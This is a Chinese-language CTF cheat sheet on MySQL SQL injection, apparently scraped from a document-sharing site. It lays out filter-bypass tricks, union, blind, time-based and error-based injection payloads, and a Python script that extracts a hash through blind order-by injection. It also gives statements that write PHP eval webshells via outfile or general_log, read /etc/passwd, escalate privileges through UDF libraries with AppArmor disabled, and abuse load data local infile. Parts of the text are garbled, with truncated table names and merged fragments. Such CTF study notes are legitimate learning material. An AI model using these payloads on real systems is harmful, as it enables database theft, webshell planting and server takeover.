CTF考点总结-sql注入

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

CTF 考点总结-sql 注⼊
整理下sql 相关知识,查漏补缺(长期更新)
常⽤语句及知识
information_schema
包含了⼤量有⽤的信息,例如下图
er 下有所有的⽤户信息,其中authentication_string 为⽤户密码的hash ,如果可以使⽤可以修改这个值,那么就可以修改任意⽤户的密码
常⽤函数
所有函数及运算符:
绕过⽅法
绕过空格
其中%09需要php 环境,%0a 为\n
/!select /为mysql 独有。

常见⽤法为/!50727select 1/,即当版本号⼩于等于50727时,执⾏
select 1
绕过单引号
注释⽅法
select from union select 绕过 当前⽤户:select user()
数据库版本:select version() , select @@version
数据库名:select database()
操作系统:select @@version_compile_os
所有变量:show variables
单个变量:select @@secure_file_priv , show variables like 'secure_file_%'
爆字段数:order by 1... ,group by 1...
查库名:select group_concat(schema_name) from information_schema.schemata
查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
读取某⾏:select * from er limit n,m // limit m offset n (第n ⾏之后m ⾏,第⼀⾏为0)
读⽂件:select load_file('/etc/passwd')
写⽂件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php' //该处⽂件名⽆法使⽤16进制绕过截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)
字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')
多⾏拼接:group_concat //eg: select group_concat(user) from er
时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他⽅法get_lock(),笛卡尔,rlike 等
编码函数: hex 、ord 、ascii 、char 、conv(255,10,16)=FF (2-36进制转换)
布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b 、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null 、strcmp 、regexp 、rlike 、regexp_like('1','1')...%20、%09、%0a 、%0b 、%0c 、%0d 、%a0、%00、/**/、 /*!select*/ 、()、--%0a (可以1-256都跑⼀遍)
\转义、宽字节%df%27,%bf%27、⼗六进制绕过
/**/、--+、#、;%00、union /*!select*/(mysql 独有)
select-1,user from er
select@1,user from er
select~1,user from er
select`user`,user from er
select(1),user from er
select'1',user from er
select+1,user from er
select 1,1e2from er
select 1,.9from er
select 1``from er
select 1''from er
select 1'123'from er
select '1'''from er
select 1""from er
select "1"""from er
select 1 from er where user=.1union select 1
select 1 from er where user=1e1union select 1
select 1 union--%0aselect 2
set 绕过
.绕过(点绕过)//select,from 等关键字绕过都可以使⽤
information_schema 绕过:
逗号绕过
奇技淫巧
按注⼊⽅法分类
数值型注⼊、字符型注⼊、⼆次注⼊、宽字节注⼊、堆叠注⼊...
按语句分类
select 注⼊、update 注⼊、insert 注⼊、order 注⼊、desc 注⼊...
按注⼊效果分类
回显注⼊、布尔注⼊、时间注⼊、报错注⼊...
⽆字段名,同表注⼊
(1)别名,⼦查询
(2)堆叠
order by 排序注⼊
⾸先假设有这样⼀张表
有以下代码
因为()_.|被过滤,所以我们⽆法从information_schema 和函数获取信息。

现在我们要获取admin 的flag 的hash ,但是我们不知道字段名,且没有.不能使⽤别名或⼦查询的⽅式获取,可以使⽤这样的⽅法。

下⾯正式开始
⾸先我们知道order by 可以排序,所以利⽤这⼀点可以进⾏字符串⽐较,如下就是order by 对admin 进⾏呢⽐较我们现在就已经确定前两个字母为ad 了select 1 union--%0aselect 2
select 1 union--%0e%0aselect 2
select 1 union all select 2select '123' into @a
select @a:='123'select 1 from er where @a:='123'
do @a:='123'
select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from er'
set @a concat('select user from mysql',char(46),'user');prepare a from @s;EXECUTE a; select table_name from mysql.innodb_index_stats 表名
select database_name from mysql.innodb_index_stats 库名
select table_name from mysql.innodb_table_stats 表名
select database_name from mysql.innodb_table_stats 库名
select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)
select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x)
select t.2 from (select 1,2,3 union SELECT * from er)t LIMIT 1,1select * from er limit 0,1 into @a,@b,@c;select @a,@b,@c
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "ctf";
$conn = new mysqli($servername, $username, $password, $dbname);function check($s){
if(preg_match("/\)|\(|_|\.|\|/i",$s)) #()_.|
{
die('hack!');
}
}
$username=$_GET['username'];
check($username);$sql = "select * from user where username='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
if($row = $result->fetch_assoc()) {
echo "username: " . $row["username"]."<br>";
}
}
$conn->close();
>
同理
现在我们知道admin的flag第⼀个字符为7了,继续
现在我们知道,前两个字符为79了 //9的ascii 为57⽽:的ascii 为58,所以:⽐9⼤
以此我们可以写出以下脚本
order by,desc,asc 注⼊
正常的order 语句,因为查询两列,所以order by 1,3
报错
但是这样就不报错了,甚⾄不会⼤整数溢出,但是会产⽣延时
import requests url= 'http://127.0.0.1/mysql.php'
flag=''
for i in range(50):
for j in range(48,128):
payload="?username=xxx' or 1=1 union select 1,2,'%s' order by 3 limit 1,2;\x00"%(flag+chr(j))
r=requests.get(url+payload).text
print j
if 'admin' in r:
flag+=chr(j-1)
print flag.lower() #793914c9c583d9d86d0f4ed8c521b0c1
break
因为延时注⼊,会对每⼀⾏都执⾏⼀次,结果就会变得很慢,所以也可以采⽤其他的⽅法。

⽅法:使⽤like ,regexp
等来进⾏报错注⼊
payload
desc 注⼊
⽤法:desc er 等同于
show columns from er
怎么利⽤呢?
漏洞代码:
攻击⽅法:select user,host from er order by 1,(1 regexp if((1=0),1,0x00));select user,host from er order by 1,(1 like if((1=0),1,(select 1+~0)));payload: ?table=note`#` where (select database()='d')#`
$sql1 => desc `cms_note`#` where (select database()='d')#`
floor 报错注⼊
原理:
rand(),随机⼀个0-1
的数
rand(0)即为rand 函数设定种⼦为0
,所以它的值是固定的
在表中表现为这样
floor()为向下取整,所以floor(rand(0)*2)即
$sql2 => select * from cms_note`#` where (select database()='d')#` where id =
count :
count 为统计⾏数,当count 与group by ⼀起使⽤时会新建⼀个虚拟表,遍历查询结果,将重复数据进⾏计数,如果结果不存在于虚拟表内,则添加进虚拟表,count 数+1。

如图所⽰
⼀共652⾏
使⽤group by
后,会统计每个字段出现的次数
所以 select count() from er group by floor(rand(0)2) 就是这样⼀个流程
floor(rand(0)*2):0 1 1 0 1 1 0 0 1 1 1 ...
⾸先产⽣⼀个空的虚拟表
查询第⼀⾏,第⼀次执⾏floor(rand(0)2)结果为0,此时虚拟表为空,所以直接插⼊,插⼊时会再次执⾏floor(rand(0)2),该次为第⼆次所以实际插⼊key 值为1,count 为1
查询第⼆⾏,第三次执⾏floor(rand(0)*2)结果为1,虚拟表中已存在1,所以key 值1的count+1,
查询第三⾏,第四次执⾏floor(rand(0)2)结果为0,虚拟表中不存在0,所以插⼊,插⼊时第五次执⾏floor(rand(0)2),该次结果为1,所以插⼊的key 为1,但是key 已经存在,所以报错Duplicate entry '1' for key '<group_key>'
所以该报错⽅式的关键为count 、group by 、rand 。

floor 只是起到⼀个辅助作⽤
payload :
xpath 报错注⼊
原理⽐较简单
因为我们输⼊的第⼆个参数不符合xpath 格式⾃然报错,xpath_string 最⼤长度为32位,所以报错长度也为32位
(1)extractvalue():select count(*),concat(user(),floor(rand(0)*2))x from er group by x select count(*) from er group by concat(user(),floor(rand(0)*2))
select count(*),concat(user(),floor(rand(0)*2)) from er group by 2updatexml (XML_document, XPath_string, new_value);extractvalue(XML_document, XPath_string)
select extractvalue(1,concat(0x7e,(select user()),0x7e));
(2)updatexml():
⼤整数溢出
name_const
列名重复报错
jion
列名重复报错
rlike ,regexp 正则匹配报错:
rlike ,
regexp
其他报错注⼊
以下均摘⾃《代码审计:企业级Web 代码安全架构》⼀书
mysql 低版本以下可⽤的报错
写webshell
(1) 直接写
查看可写⽬录范围,默认为空即不可写不可读
写⼊
(2) ⽇志写webshell select extractvalue(1,concat(0x7e,(select user()),0x7e));
select updatexml(1,concat(0x7e,(select user()),0x7e),1);select 1+~0select 2*~0
select pow(2,1024)select * from (select name_const(version(),1),name_const(version(),1))x //只能使⽤常量和普通字符串
select * from(select a.1 from er a join er b)c select 1 regexp 0x00
select 1 regexp ''
select 1 rlike 0x00select geometrycollection((select * from(select * from(select user())a)b)); select multipoint((select * from(select * from(select user())a)b)); select polygon((select * from(select * from(select user())a)b));
select multipolygon((select * from(select * from(select user())a)b));
select linestring((select * from(select * from(select user())a)b));
select multilinestring((select * from(select * from(select user())a)b));
select exp(~(select * from(select user())a));
select @@secure_file_priv
select '<?php @eval($_POST[shell]); ?>' into outfile '/etc/www/html/shell.php'MySQL ⽇志⽂件系统的组成:
错误⽇志log_error :记录启动、运⾏或停⽌mysqld 时出现的问题。

通⽤⽇志general_log :记录建⽴的客户端连接和执⾏的语句。

更新⽇志:记录更改数据的语句。

该⽇志在MySQL 5.1中已不再使⽤。

⼆进制⽇志:记录所有更改数据的语句。

还⽤于复制。

慢查询⽇志slow_query_log :记录所有执⾏时间超过long_query_time 秒(默认10秒)的所有查询或不使⽤索引的查询。

Innodb ⽇志:innodb redolog
Innodb⽇志:innodb redolog
以下举例两种
show global variables like "%general%"; #查看general⽂件配置情况
set global general_log='on'; #开启⽇志记录
set global general_log_file='C:/phpstudy/WWW/shell.php';
select '<?php @eval($_POST[shell]); ?>'; #⽇志⽂件导出指定⽬录
set global general_log=off; #关闭记录
show variables like '%slow%'; #慢查询⽇志
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;
/*set GLOBAL log_queries_not_using_indexes=on;
show variables like '%log%';*/
select '<?php phpinfo();?>' from er where sleep(10);
udf提权
⼤致流程如下,将udf⽂件windows为dll⽂件 ,linux为so⽂件导⼊服务器mysql插件⽬录即可。

可以⾃⼰写⼀些udf⽂件来编译。

推荐sqlmap提供的udf⽂件
因为udf⽂件较⼤,详细点击这⾥
⾼版本中mysql⽆法向/usr⽬录写⽂件,可以导⼊到/tmp,之后mv到/usr/lib/mysql/plugin下
导⼊成功之后,如果执⾏命令为空,则今⼉参考
执⾏
ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
service mysql restart
mysql任意⽂件读漏洞
原理:
当服务端执⾏load data local infile时,会从客户端会读取对应的⽂件。

//load data infile则是从服务端本⾝读取mysql客户端连接服务端时,服务端可以让客户端执⾏sql语句,
所以伪造⼀个服务端,让客户端连接并执⾏load data local infile即可任意⽂件读。

这⾥推荐下 ev0A⼤佬的⼯具:
例⼦: phpmyadmin开启远程登陆后就会出现该漏洞
格式化字符串漏洞与sql注⼊
sprintf
//?user=%1$\&pass=%20or%201=1%23
<?php
$user=addslashes($_GET['user']);
$pass=addslashes($_GET['pass']);
$sql = "select * from user where username = '$user' and password='%s';";
echo sprintf( $sql, $pass) ;
//select * from user where username = '\' and password=' or 1=1#';
>
参考⽂章:。

相关文档
最新文档